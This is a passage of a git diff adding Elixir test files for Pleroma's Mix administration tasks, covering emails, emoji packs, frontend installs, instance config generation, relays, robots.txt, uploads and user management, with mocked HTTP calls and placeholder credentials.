Mix.Tasks.Pleroma.EmailTest do + use Pleroma.DataCase + + import Swoosh.TestAssertions + + alias Pleroma.Config + alias Pleroma.Tests.ObanHelpers + + import Pleroma.Factory + + setup_all do + Mix.shell(Mix.Shell.Process) + + on_exit(fn -> + Mix.shell(Mix.Shell.IO) + end) + + :ok + end + + setup do: clear_config([Pleroma.Emails.Mailer, :enabled], true) + setup do: clear_config([:instance, :account_activation_required], true) + + describe "pleroma.email test" do + test "Sends test email with no given address" do + mail_to = Config.get([:instance, :email]) + + :ok = Mix.Tasks.Pleroma.Email.run(["test"]) + + ObanHelpers.perform_all() + + assert_receive {:mix_shell, :info, [message]} + assert message =~ "Test email has been sent" + + assert_email_sent( + to: mail_to, + html_body: ~r/a test email was requested./i + ) + end + + test "Sends test email with given address" do + mail_to = "hewwo@example.com" + + :ok = Mix.Tasks.Pleroma.Email.run(["test", "--to", mail_to]) + + ObanHelpers.perform_all() + + assert_receive {:mix_shell, :info, [message]} + assert message =~ "Test email has been sent" + + assert_email_sent( + to: mail_to, + html_body: ~r/a test email was requested./i + ) + end + + test "Sends confirmation emails" do + local_user1 = + insert(:user, %{ + confirmation_pending: true, + confirmation_token: "mytoken", + deactivated: false, + email: "local1@pleroma.com", + local: true + }) + + local_user2 = + insert(:user, %{ + confirmation_pending: true, + confirmation_token: "mytoken", + deactivated: false, + email: "local2@pleroma.com", + local: true + }) + + :ok = Mix.Tasks.Pleroma.Email.run(["resend_confirmation_emails"]) + + ObanHelpers.perform_all() + + assert_email_sent(to: {local_user1.name, local_user1.email}) + assert_email_sent(to: {local_user2.name, local_user2.email}) + end + + test "Does not send confirmation email to inappropriate users" do + # confirmed user + insert(:user, %{ + confirmation_pending: false, + confirmation_token: "mytoken", + deactivated: false, + email: "confirmed@pleroma.com", + local: true + }) + + # remote user + insert(:user, %{ + deactivated: false, + email: "remote@not-pleroma.com", + local: false + }) + + # deactivated user = + insert(:user, %{ + deactivated: true, + email: "deactivated@pleroma.com", + local: false + }) + + # invisible user + insert(:user, %{ + deactivated: false, + email: "invisible@pleroma.com", + local: true, + invisible: true + }) + + :ok = Mix.Tasks.Pleroma.Email.run(["resend_confirmation_emails"]) + + ObanHelpers.perform_all() + + refute_email_sent() + end + end +end diff --git a/test/mix/tasks/pleroma/emoji_test.exs b/test/mix/tasks/pleroma/emoji_test.exs new file mode 100644 index 000000000..0fb8603ac --- /dev/null +++ b/test/mix/tasks/pleroma/emoji_test.exs @@ -0,0 +1,243 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.Tasks.Pleroma.EmojiTest do + use ExUnit.Case, async: true + + import ExUnit.CaptureIO + import Tesla.Mock + + alias Mix.Tasks.Pleroma.Emoji + + describe "ls-packs" do + test "with default manifest as url" do + mock(fn + %{ + method: :get, + url: "https://git.pleroma.social/pleroma/emoji-index/raw/master/index.json" + } -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/emoji/packs/default-manifest.json") + } + end) + + capture_io(fn -> Emoji.run(["ls-packs"]) end) =~ + "https://finland.fi/wp-content/uploads/2017/06/finland-emojis.zip" + end + + test "with passed manifest as file" do + capture_io(fn -> + Emoji.run(["ls-packs", "-m", "test/fixtures/emoji/packs/manifest.json"]) + end) =~ "https://git.pleroma.social/pleroma/emoji-index/raw/master/packs/blobs_gg.zip" + end + end + + describe "get-packs" do + test "download pack from default manifest" do + mock(fn + %{ + method: :get, + url: "https://git.pleroma.social/pleroma/emoji-index/raw/master/index.json" + } -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/emoji/packs/default-manifest.json") + } + + %{ + method: :get, + url: "https://finland.fi/wp-content/uploads/2017/06/finland-emojis.zip" + } -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/emoji/packs/blank.png.zip") + } + + %{ + method: :get, + url: "https://git.pleroma.social/pleroma/emoji-index/raw/master/finmoji.json" + } -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/emoji/packs/finmoji.json") + } + end) + + assert capture_io(fn -> Emoji.run(["get-packs", "finmoji"]) end) =~ "Writing pack.json for" + + emoji_path = + Path.join( + Pleroma.Config.get!([:instance, :static_dir]), + "emoji" + ) + + assert File.exists?(Path.join([emoji_path, "finmoji", "pack.json"])) + on_exit(fn -> File.rm_rf!("test/instance_static/emoji/finmoji") end) + end + + test "install local emoji pack" do + assert capture_io(fn -> + Emoji.run([ + "get-packs", + "local", + "--manifest", + "test/instance_static/local_pack/manifest.json" + ]) + end) =~ "Writing pack.json for" + + on_exit(fn -> File.rm_rf!("test/instance_static/emoji/local") end) + end + + test "pack not found" do + mock(fn + %{ + method: :get, + url: "https://git.pleroma.social/pleroma/emoji-index/raw/master/index.json" + } -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/emoji/packs/default-manifest.json") + } + end) + + assert capture_io(fn -> Emoji.run(["get-packs", "not_found"]) end) =~ + "No pack named \"not_found\" found" + end + + test "raise on bad sha256" do + mock(fn + %{ + method: :get, + url: "https://git.pleroma.social/pleroma/emoji-index/raw/master/packs/blobs_gg.zip" + } -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/emoji/packs/blank.png.zip") + } + end) + + assert_raise RuntimeError, ~r/^Bad SHA256 for blobs.gg/, fn -> + capture_io(fn -> + Emoji.run(["get-packs", "blobs.gg", "-m", "test/fixtures/emoji/packs/manifest.json"]) + end) + end + end + end + + describe "gen-pack" do + setup do + url = "https://finland.fi/wp-content/uploads/2017/06/finland-emojis.zip" + + mock(fn %{ + method: :get, + url: ^url + } -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/emoji/packs/blank.png.zip")} + end) + + {:ok, url: url} + end + + test "with default extensions", %{url: url} do + name = "pack1" + pack_json = "#{name}.json" + files_json = "#{name}_file.json" + refute File.exists?(pack_json) + refute File.exists?(files_json) + + captured = + capture_io(fn -> + Emoji.run([ + "gen-pack", + url, + "--name", + name, + "--license", + "license", + "--homepage", + "homepage", + "--description", + "description", + "--files", + files_json, + "--extensions", + ".png .gif" + ]) + end) + + assert captured =~ "#{pack_json} has been created with the pack1 pack" + assert captured =~ "Using .png .gif extensions" + + assert File.exists?(pack_json) + assert File.exists?(files_json) + + on_exit(fn -> + File.rm!(pack_json) + File.rm!(files_json) + end) + end + + test "with custom extensions and update existing files", %{url: url} do + name = "pack2" + pack_json = "#{name}.json" + files_json = "#{name}_file.json" + refute File.exists?(pack_json) + refute File.exists?(files_json) + + captured = + capture_io(fn -> + Emoji.run([ + "gen-pack", + url, + "--name", + name, + "--license", + "license", + "--homepage", + "homepage", + "--description", + "description", + "--files", + files_json, + "--extensions", + " .png .gif .jpeg " + ]) + end) + + assert captured =~ "#{pack_json} has been created with the pack2 pack" + assert captured =~ "Using .png .gif .jpeg extensions" + + assert File.exists?(pack_json) + assert File.exists?(files_json) + + captured = + capture_io(fn -> + Emoji.run([ + "gen-pack", + url, + "--name", + name, + "--license", + "license", + "--homepage", + "homepage", + "--description", + "description", + "--files", + files_json, + "--extensions", + " .png .gif .jpeg " + ]) + end) + + assert captured =~ "#{pack_json} has been updated with the pack2 pack" + + on_exit(fn -> + File.rm!(pack_json) + File.rm!(files_json) + end) + end + end +end diff --git a/test/mix/tasks/pleroma/frontend_test.exs b/test/mix/tasks/pleroma/frontend_test.exs new file mode 100644 index 000000000..022ae51be --- /dev/null +++ b/test/mix/tasks/pleroma/frontend_test.exs @@ -0,0 +1,85 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.FrontendTest do + use Pleroma.DataCase + alias Mix.Tasks.Pleroma.Frontend + + import ExUnit.CaptureIO, only: [capture_io: 1] + + @dir "test/frontend_static_test" + + setup do + File.mkdir_p!(@dir) + clear_config([:instance, :static_dir], @dir) + + on_exit(fn -> + File.rm_rf(@dir) + end) + end + + test "it downloads and unzips a known frontend" do + clear_config([:frontends, :available], %{ + "pleroma" => %{ + "ref" => "fantasy", + "name" => "pleroma", + "build_url" => "http://gensokyo.2hu/builds/${ref}" + } + }) + + Tesla.Mock.mock(fn %{url: "http://gensokyo.2hu/builds/fantasy"} -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/frontend_dist.zip")} + end) + + capture_io(fn -> + Frontend.run(["install", "pleroma"]) + end) + + assert File.exists?(Path.join([@dir, "frontends", "pleroma", "fantasy", "test.txt"])) + end + + test "it also works given a file" do + clear_config([:frontends, :available], %{ + "pleroma" => %{ + "ref" => "fantasy", + "name" => "pleroma", + "build_dir" => "" + } + }) + + folder = Path.join([@dir, "frontends", "pleroma", "fantasy"]) + previously_existing = Path.join([folder, "temp"]) + File.mkdir_p!(folder) + File.write!(previously_existing, "yey") + assert File.exists?(previously_existing) + + capture_io(fn -> + Frontend.run(["install", "pleroma", "--file", "test/fixtures/tesla_mock/frontend.zip"]) + end) + + assert File.exists?(Path.join([folder, "test.txt"])) + refute File.exists?(previously_existing) + end + + test "it downloads and unzips unknown frontends" do + Tesla.Mock.mock(fn %{url: "http://gensokyo.2hu/madeup.zip"} -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/frontend.zip")} + end) + + capture_io(fn -> + Frontend.run([ + "install", + "unknown", + "--ref", + "baka", + "--build-url", + "http://gensokyo.2hu/madeup.zip", + "--build-dir", + "" + ]) + end) + + assert File.exists?(Path.join([@dir, "frontends", "unknown", "baka", "test.txt"])) + end +end diff --git a/test/mix/tasks/pleroma/instance_test.exs b/test/mix/tasks/pleroma/instance_test.exs new file mode 100644 index 000000000..8a02710ee --- /dev/null +++ b/test/mix/tasks/pleroma/instance_test.exs @@ -0,0 +1,99 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.Tasks.Pleroma.InstanceTest do + use ExUnit.Case + + setup do + File.mkdir_p!(tmp_path()) + + on_exit(fn -> + File.rm_rf(tmp_path()) + static_dir = Pleroma.Config.get([:instance, :static_dir], "test/instance_static/") + + if File.exists?(static_dir) do + File.rm_rf(Path.join(static_dir, "robots.txt")) + end + + Pleroma.Config.put([:instance, :static_dir], static_dir) + end) + + :ok + end + + defp tmp_path do + "/tmp/generated_files/" + end + + test "running gen" do + mix_task = fn -> + Mix.Tasks.Pleroma.Instance.run([ + "gen", + "--output", + tmp_path() <> "generated_config.exs", + "--output-psql", + tmp_path() <> "setup.psql", + "--domain", + "test.pleroma.social", + "--instance-name", + "Pleroma", + "--admin-email", + "admin@example.com", + "--notify-email", + "notify@example.com", + "--dbhost", + "dbhost", + "--dbname", + "dbname", + "--dbuser", + "dbuser", + "--dbpass", + "dbpass", + "--indexable", + "y", + "--db-configurable", + "y", + "--rum", + "y", + "--listen-port", + "4000", + "--listen-ip", + "127.0.0.1", + "--uploads-dir", + "test/uploads", + "--static-dir", + "./test/../test/instance/static/", + "--strip-uploads", + "y", + "--dedupe-uploads", + "n", + "--anonymize-uploads", + "n" + ]) + end + + ExUnit.CaptureIO.capture_io(fn -> + mix_task.() + end) + + generated_config = File.read!(tmp_path() <> "generated_config.exs") + assert generated_config =~ "host: \"test.pleroma.social\"" + assert generated_config =~ "name: \"Pleroma\"" + assert generated_config =~ "email: \"admin@example.com\"" + assert generated_config =~ "notify_email: \"notify@example.com\"" + assert generated_config =~ "hostname: \"dbhost\"" + assert generated_config =~ "database: \"dbname\"" + assert generated_config =~ "username: \"dbuser\"" + assert generated_config =~ "password: \"dbpass\"" + assert generated_config =~ "configurable_from_database: true" + assert generated_config =~ "http: [ip: {127, 0, 0, 1}, port: 4000]" + assert generated_config =~ "filters: [Pleroma.Upload.Filter.ExifTool]" + assert File.read!(tmp_path() <> "setup.psql") == generated_setup_psql() + assert File.exists?(Path.expand("./test/instance/static/robots.txt")) + end + + defp generated_setup_psql do + ~s(CREATE USER dbuser WITH ENCRYPTED PASSWORD 'dbpass';\nCREATE DATABASE dbname OWNER dbuser;\n\\c dbname;\n--Extensions made by ecto.migrate that need superuser access\nCREATE EXTENSION IF NOT EXISTS citext;\nCREATE EXTENSION IF NOT EXISTS pg_trgm;\nCREATE EXTENSION IF NOT EXISTS \"uuid-ossp\";\nCREATE EXTENSION IF NOT EXISTS rum;\n) + end +end diff --git a/test/mix/tasks/pleroma/refresh_counter_cache_test.exs b/test/mix/tasks/pleroma/refresh_counter_cache_test.exs new file mode 100644 index 000000000..6a1a9ac17 --- /dev/null +++ b/test/mix/tasks/pleroma/refresh_counter_cache_test.exs @@ -0,0 +1,43 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.Tasks.Pleroma.RefreshCounterCacheTest do + use Pleroma.DataCase + alias Pleroma.Web.CommonAPI + import ExUnit.CaptureIO, only: [capture_io: 1] + import Pleroma.Factory + + test "counts statuses" do + user = insert(:user) + other_user = insert(:user) + + CommonAPI.post(user, %{visibility: "public", status: "hey"}) + + Enum.each(0..1, fn _ -> + CommonAPI.post(user, %{ + visibility: "unlisted", + status: "hey" + }) + end) + + Enum.each(0..2, fn _ -> + CommonAPI.post(user, %{ + visibility: "direct", + status: "hey @#{other_user.nickname}" + }) + end) + + Enum.each(0..3, fn _ -> + CommonAPI.post(user, %{ + visibility: "private", + status: "hey" + }) + end) + + assert capture_io(fn -> Mix.Tasks.Pleroma.RefreshCounterCache.run([]) end) =~ "Done\n" + + assert %{"direct" => 3, "private" => 4, "public" => 1, "unlisted" => 2} = + Pleroma.Stats.get_status_visibility_count() + end +end diff --git a/test/mix/tasks/pleroma/relay_test.exs b/test/mix/tasks/pleroma/relay_test.exs new file mode 100644 index 000000000..cf48e7dda --- /dev/null +++ b/test/mix/tasks/pleroma/relay_test.exs @@ -0,0 +1,180 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.Tasks.Pleroma.RelayTest do + alias Pleroma.Activity + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.ActivityPub.Relay + alias Pleroma.Web.ActivityPub.Utils + use Pleroma.DataCase + + import Pleroma.Factory + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + + Mix.shell(Mix.Shell.Process) + + on_exit(fn -> + Mix.shell(Mix.Shell.IO) + end) + + :ok + end + + describe "running follow" do + test "relay is followed" do + target_instance = "http://mastodon.example.org/users/admin" + + Mix.Tasks.Pleroma.Relay.run(["follow", target_instance]) + + local_user = Relay.get_actor() + assert local_user.ap_id =~ "/relay" + + target_user = User.get_cached_by_ap_id(target_instance) + refute target_user.local + + activity = Utils.fetch_latest_follow(local_user, target_user) + assert activity.data["type"] == "Follow" + assert activity.data["actor"] == local_user.ap_id + assert activity.data["object"] == target_user.ap_id + + :ok = Mix.Tasks.Pleroma.Relay.run(["list"]) + + assert_receive {:mix_shell, :info, + [ + "http://mastodon.example.org/users/admin - no Accept received (relay didn't follow back)" + ]} + end + end + + describe "running unfollow" do + test "relay is unfollowed" do + user = insert(:user) + target_instance = user.ap_id + + Mix.Tasks.Pleroma.Relay.run(["follow", target_instance]) + + %User{ap_id: follower_id} = local_user = Relay.get_actor() + target_user = User.get_cached_by_ap_id(target_instance) + follow_activity = Utils.fetch_latest_follow(local_user, target_user) + User.follow(local_user, target_user) + assert "#{target_instance}/followers" in User.following(local_user) + Mix.Tasks.Pleroma.Relay.run(["unfollow", target_instance]) + + cancelled_activity = Activity.get_by_ap_id(follow_activity.data["id"]) + assert cancelled_activity.data["state"] == "cancelled" + + [undo_activity] = + ActivityPub.fetch_activities([], %{ + type: "Undo", + actor_id: follower_id, + limit: 1, + skip_preload: true, + invisible_actors: true + }) + + assert undo_activity.data["type"] == "Undo" + assert undo_activity.data["actor"] == local_user.ap_id + assert undo_activity.data["object"]["id"] == cancelled_activity.data["id"] + refute "#{target_instance}/followers" in User.following(local_user) + end + + test "unfollow when relay is dead" do + user = insert(:user) + target_instance = user.ap_id + + Mix.Tasks.Pleroma.Relay.run(["follow", target_instance]) + + %User{ap_id: follower_id} = local_user = Relay.get_actor() + target_user = User.get_cached_by_ap_id(target_instance) + follow_activity = Utils.fetch_latest_follow(local_user, target_user) + User.follow(local_user, target_user) + + assert "#{target_instance}/followers" in User.following(local_user) + + Tesla.Mock.mock(fn %{method: :get, url: ^target_instance} -> + %Tesla.Env{status: 404} + end) + + Pleroma.Repo.delete(user) + Cachex.clear(:user_cache) + + Mix.Tasks.Pleroma.Relay.run(["unfollow", target_instance]) + + cancelled_activity = Activity.get_by_ap_id(follow_activity.data["id"]) + assert cancelled_activity.data["state"] == "accept" + + assert [] == + ActivityPub.fetch_activities( + [], + %{ + type: "Undo", + actor_id: follower_id, + skip_preload: true, + invisible_actors: true + } + ) + end + + test "force unfollow when relay is dead" do + user = insert(:user) + target_instance = user.ap_id + + Mix.Tasks.Pleroma.Relay.run(["follow", target_instance]) + + %User{ap_id: follower_id} = local_user = Relay.get_actor() + target_user = User.get_cached_by_ap_id(target_instance) + follow_activity = Utils.fetch_latest_follow(local_user, target_user) + User.follow(local_user, target_user) + + assert "#{target_instance}/followers" in User.following(local_user) + + Tesla.Mock.mock(fn %{method: :get, url: ^target_instance} -> + %Tesla.Env{status: 404} + end) + + Pleroma.Repo.delete(user) + Cachex.clear(:user_cache) + + Mix.Tasks.Pleroma.Relay.run(["unfollow", target_instance, "--force"]) + + cancelled_activity = Activity.get_by_ap_id(follow_activity.data["id"]) + assert cancelled_activity.data["state"] == "cancelled" + + [undo_activity] = + ActivityPub.fetch_activities( + [], + %{type: "Undo", actor_id: follower_id, skip_preload: true, invisible_actors: true} + ) + + assert undo_activity.data["type"] == "Undo" + assert undo_activity.data["actor"] == local_user.ap_id + assert undo_activity.data["object"]["id"] == cancelled_activity.data["id"] + refute "#{target_instance}/followers" in User.following(local_user) + end + end + + describe "mix pleroma.relay list" do + test "Prints relay subscription list" do + :ok = Mix.Tasks.Pleroma.Relay.run(["list"]) + + refute_receive {:mix_shell, :info, _} + + relay_user = Relay.get_actor() + + ["http://mastodon.example.org/users/admin", "https://mstdn.io/users/mayuutann"] + |> Enum.each(fn ap_id -> + {:ok, user} = User.get_or_fetch_by_ap_id(ap_id) + User.follow(relay_user, user) + end) + + :ok = Mix.Tasks.Pleroma.Relay.run(["list"]) + + assert_receive {:mix_shell, :info, ["https://mstdn.io/users/mayuutann"]} + assert_receive {:mix_shell, :info, ["http://mastodon.example.org/users/admin"]} + end + end +end diff --git a/test/mix/tasks/pleroma/robots_txt_test.exs b/test/mix/tasks/pleroma/robots_txt_test.exs new file mode 100644 index 000000000..7040a0e4e --- /dev/null +++ b/test/mix/tasks/pleroma/robots_txt_test.exs @@ -0,0 +1,45 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.Tasks.Pleroma.RobotsTxtTest do + use ExUnit.Case + use Pleroma.Tests.Helpers + alias Mix.Tasks.Pleroma.RobotsTxt + + setup do: clear_config([:instance, :static_dir]) + + test "creates new dir" do + path = "test/fixtures/new_dir/" + file_path = path <> "robots.txt" + Pleroma.Config.put([:instance, :static_dir], path) + + on_exit(fn -> + {:ok, ["test/fixtures/new_dir/", "test/fixtures/new_dir/robots.txt"]} = File.rm_rf(path) + end) + + RobotsTxt.run(["disallow_all"]) + + assert File.exists?(file_path) + {:ok, file} = File.read(file_path) + + assert file == "User-Agent: *\nDisallow: /\n" + end + + test "to existance folder" do + path = "test/fixtures/" + file_path = path <> "robots.txt" + Pleroma.Config.put([:instance, :static_dir], path) + + on_exit(fn -> + :ok = File.rm(file_path) + end) + + RobotsTxt.run(["disallow_all"]) + + assert File.exists?(file_path) + {:ok, file} = File.read(file_path) + + assert file == "User-Agent: *\nDisallow: /\n" + end +end diff --git a/test/mix/tasks/pleroma/uploads_test.exs b/test/mix/tasks/pleroma/uploads_test.exs new file mode 100644 index 000000000..d69e149a8 --- /dev/null +++ b/test/mix/tasks/pleroma/uploads_test.exs @@ -0,0 +1,56 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.Tasks.Pleroma.UploadsTest do + alias Pleroma.Upload + use Pleroma.DataCase + + import Mock + + setup_all do + Mix.shell(Mix.Shell.Process) + + on_exit(fn -> + Mix.shell(Mix.Shell.IO) + end) + + :ok + end + + describe "running migrate_local" do + test "uploads migrated" do + with_mock Upload, + store: fn %Upload{name: _file, path: _path}, _opts -> {:ok, %{}} end do + Mix.Tasks.Pleroma.Uploads.run(["migrate_local", "S3"]) + + assert_received {:mix_shell, :info, [message]} + assert message =~ "Migrating files from local" + + assert_received {:mix_shell, :info, [message]} + + assert %{"total_count" => total_count} = + Regex.named_captures(~r"^Found (?\d+) uploads$", message) + + assert_received {:mix_shell, :info, [message]} + + # @logevery in Mix.Tasks.Pleroma.Uploads + count = + min(50, String.to_integer(total_count)) + |> to_string() + + assert %{"count" => ^count, "total_count" => ^total_count} = + Regex.named_captures( + ~r"^Uploaded (?\d+)/(?\d+) files$", + message + ) + end + end + + test "nonexistent uploader" do + assert_raise RuntimeError, ~r/The uploader .* is not an existing/, fn -> + Mix.Tasks.Pleroma.Uploads.run(["migrate_local", "nonexistent"]) + end + end + end +end diff --git a/test/mix/tasks/pleroma/user_test.exs b/test/mix/tasks/pleroma/user_test.exs new file mode 100644 index 000000000..b8c423c48 --- /dev/null +++ b/test/mix/tasks/pleroma/user_test.exs @@ -0,0 +1,614 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Mix.Tasks.Pleroma.UserTest do + alias Pleroma.Activity + alias Pleroma.MFA + alias Pleroma.Object + alias Pleroma.Repo + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.OAuth.Authorization + alias Pleroma.Web.OAuth.Token + + use Pleroma.DataCase + use Oban.Testing, repo: Pleroma.Repo + + import ExUnit.CaptureIO + import Mock + import Pleroma.Factory + + setup_all do + Mix.shell(Mix.Shell.Process) + + on_exit(fn -> + Mix.shell(Mix.Shell.IO) + end) + + :ok + end + + describe "running new" do + test "user is created" do + # just get random data + unsaved = build(:user) + + # prepare to answer yes + send(self(), {:mix_shell_input, :yes?, true}) + + Mix.Tasks.Pleroma.User.run([ + "new", + unsaved.nickname, + unsaved.email, + "--name", + unsaved.name, + "--bio", + unsaved.bio, + "--password", + "test", + "--moderator", + "--admin" + ]) + + assert_received {:mix_shell, :info, [message]} + assert message =~ "user will be created" + + assert_received {:mix_shell, :yes?, [message]} + assert message =~ "Continue" + + assert_received {:mix_shell, :info, [message]} + assert message =~ "created" + + user = User.get_cached_by_nickname(unsaved.nickname) + assert user.name == unsaved.name + assert user.email == unsaved.email + assert user.bio == unsaved.bio + assert user.is_moderator + assert user.is_admin + end + + test "user is not created" do + unsaved = build(:user) + + # prepare to answer no + send(self(), {:mix_shell_input, :yes?, false}) + + Mix.Tasks.Pleroma.User.run(["new", unsaved.nickname, unsaved.email]) + + assert_received {:mix_shell, :info, [message]} + assert message =~ "user will be created" + + assert_received {:mix_shell, :yes?, [message]} + assert message =~ "Continue" + + assert_received {:mix_shell, :info, [message]} + assert message =~ "will not be created" + + refute User.get_cached_by_nickname(unsaved.nickname) + end + end + + describe "running rm" do + test "user is deleted" do + clear_config([:instance, :federating], true) + user = insert(:user) + + with_mock Pleroma.Web.Federator, + publish: fn _ -> nil end do + Mix.Tasks.Pleroma.User.run(["rm", user.nickname]) + ObanHelpers.perform_all() + + assert_received {:mix_shell, :info, [message]} + assert message =~ " deleted" + assert %{deactivated: true} = User.get_by_nickname(user.nickname) + + assert called(Pleroma.Web.Federator.publish(:_)) + end + end + + test "a remote user's create activity is deleted when the object has been pruned" do + user = insert(:user) + user2 = insert(:user) + + {:ok, post} = CommonAPI.post(user, %{status: "uguu"}) + {:ok, post2} = CommonAPI.post(user2, %{status: "test"}) + obj = Object.normalize(post2) + + {:ok, like_object, meta} = Pleroma.Web.ActivityPub.Builder.like(user, obj) + + {:ok, like_activity, _meta} = + Pleroma.Web.ActivityPub.Pipeline.common_pipeline( + like_object, + Keyword.put(meta, :local, true) + ) + + like_activity.data["object"] + |> Pleroma.Object.get_by_ap_id() + |> Repo.delete() + + clear_config([:instance, :federating], true) + + object = Object.normalize(post) + Object.prune(object) + + with_mock Pleroma.Web.Federator, + publish: fn _ -> nil end do + Mix.Tasks.Pleroma.User.run(["rm", user.nickname]) + ObanHelpers.perform_all() + + assert_received {:mix_shell, :info, [message]} + assert message =~ " deleted" + assert %{deactivated: true} = User.get_by_nickname(user.nickname) + + assert called(Pleroma.Web.Federator.publish(:_)) + refute Pleroma.Repo.get(Pleroma.Activity, like_activity.id) + end + + refute Activity.get_by_id(post.id) + end + + test "no user to delete" do + Mix.Tasks.Pleroma.User.run(["rm", "nonexistent"]) + + assert_received {:mix_shell, :error, [message]} + assert message =~ "No local user" + end + end + + describe "running toggle_activated" do + test "user is deactivated" do + user = insert(:user) + + Mix.Tasks.Pleroma.User.run(["toggle_activated", user.nickname]) + + assert_received {:mix_shell, :info, [message]} + assert message =~ " deactivated" + + user = User.get_cached_by_nickname(user.nickname) + assert user.deactivated + end + + test "user is activated" do + user = insert(:user, deactivated: true) + + Mix.Tasks.Pleroma.User.run(["toggle_activated", user.nickname]) + + assert_received {:mix_shell, :info, [message]} + assert message =~ " activated" + + user = User.get_cached_by_nickname(user.nickname) + refute user.deactivated + end + + test "no user to toggle" do + Mix.Tasks.Pleroma.User.run(["toggle_activated", "nonexistent"]) + + assert_received {:mix_shell, :error, [message]} + assert message =~ "No user" + end + end + + describe "running deactivate" do + test "user is unsubscribed" do + followed = insert(:user) + remote_followed = insert(:user, local: false) + user = insert(:user) + + User.follow(user, followed, :follow_accept) + User.follow(user, remote_followed, :follow_accept) + + Mix.Tasks.Pleroma.User.run(["deactivate", user.nickname]) + + assert_received {:mix_shell, :info, [message]} + assert message =~ "Deactivating" + + # Note that the task has delay :timer.sleep(500) + assert_received {:mix_shell, :info, [message]} + assert message =~ "Successfully unsubscribed" + + user = User.get_cached_by_nickname(user.nickname) + assert Enum.empty?(Enum.filter(User.get_friends(user), & &1.local)) + assert user.deactivated + end + + test "no user to deactivate" do + Mix.Tasks.Pleroma.User.run(["deactivate", "nonexistent"]) + + assert_received {:mix_shell, :error, [message]} + assert message =~ "No user" + end + end + + describe "running set" do + test "All statuses set" do + user = insert(:user) + + Mix.Tasks.Pleroma.User.run([ + "set", + user.nickname, + "--admin", + "--confirmed", + "--locked", + "--moderator" + ]) + + assert_received {:mix_shell, :info, [message]} + assert message =~ ~r/Admin status .* true/ + + assert_received {:mix_shell, :info, [message]} + assert message =~ ~r/Confirmation pending .* false/ + + assert_received {:mix_shell, :info, [message]} + assert message =~ ~r/Locked status .* true/ + + assert_received {:mix_shell, :info, [message]} + assert message =~ ~r/Moderator status .* true/ + + user = User.get_cached_by_nickname(user.nickname) + assert user.is_moderator + assert user.locked + assert user.is_admin + refute user.confirmation_pending + end + + test "All statuses unset" do + user = + insert(:user, locked: true, is_moderator: true, is_admin: true, confirmation_pending: true) + + Mix.Tasks.Pleroma.User.run([ + "set", + user.nickname, + "--no-admin", + "--no-confirmed", + "--no-locked", + "--no-moderator" + ]) + + assert_received {:mix_shell, :info, [message]} + assert message =~ ~r/Admin status .* false/ + + assert_received {:mix_shell, :info, [message]} + assert message =~ ~r/Confirmation pending .* true/ + + assert_received {:mix_shell, :info, [message]} + assert message =~ ~r/Locked status .* false/ + + assert_received {:mix_shell, :info, [message]} + assert message =~ ~r/Moderator status .* false/ + + user = User.get_cached_by_nickname(user.nickname) + refute user.is_moderator + refute user.locked + refute user.is_admin + assert user.confirmation_pending + end + + test "no user to set status" do + Mix.Tasks.Pleroma.User.run(["set", "nonexistent", "--moderator"]) + + assert_received {:mix_shell, :error, [message]} + assert message =~ "No local user" + end + end + + describe "running reset_password" do + test "password reset token is generated" do + user = insert(:user) + + assert capture_io(fn -> + Mix.Tasks.Pleroma.User.run(["reset_password", user.nickname]) + end) =~ "URL:" + + assert_received {:mix_shell, :info, [message]} + assert message =~ "Generated" + end + + test "no user to reset password" do + Mix.Tasks.Pleroma.User.run(["reset_password", "nonexistent"]) + + assert_received {:mix_shell, :error, [message]} + assert message =~ "No local user" + end + end + + describe "running reset_mfa" do + test "disables MFA" do + user = + insert(:user, + multi_factor_authentication_settings: %MFA.Settings{ + enabled: true, + totp: %MFA.Settings.TOTP{secret: "xx", confirmed: true} + } + ) + + Mix.Tasks.Pleroma.User.run(["reset_mfa", user.nickname]) + + assert_received {:mix_shell, :info, [message]} + assert message == "Multi-Factor Authentication disabled for #{user.nickname}" + + assert %{enabled: false, totp: false} == + user.nickname + |> User.get_cached_by_nickname() + |> MFA.mfa_settings() + end + + test "no user to reset MFA" do + Mix.Tasks.Pleroma.User.run(["reset_password", "nonexistent"]) + + assert_received {:mix_shell, :error, [message]} + assert message =~ "No local user" + end + end + + describe "running invite" do + test "invite token is generated" do + assert capture_io(fn -> + Mix.Tasks.Pleroma.User.run(["invite"]) + end) =~ "http" + + assert_received {:mix_shell, :info, [message]} + assert message =~ "Generated user invite token one time" + end + + test "token is generated with expires_at" do + assert capture_io(fn -> + Mix.Tasks.Pleroma.User.run([ + "invite", + "--expires-at", + Date.to_string(Date.utc_today()) + ]) + end) 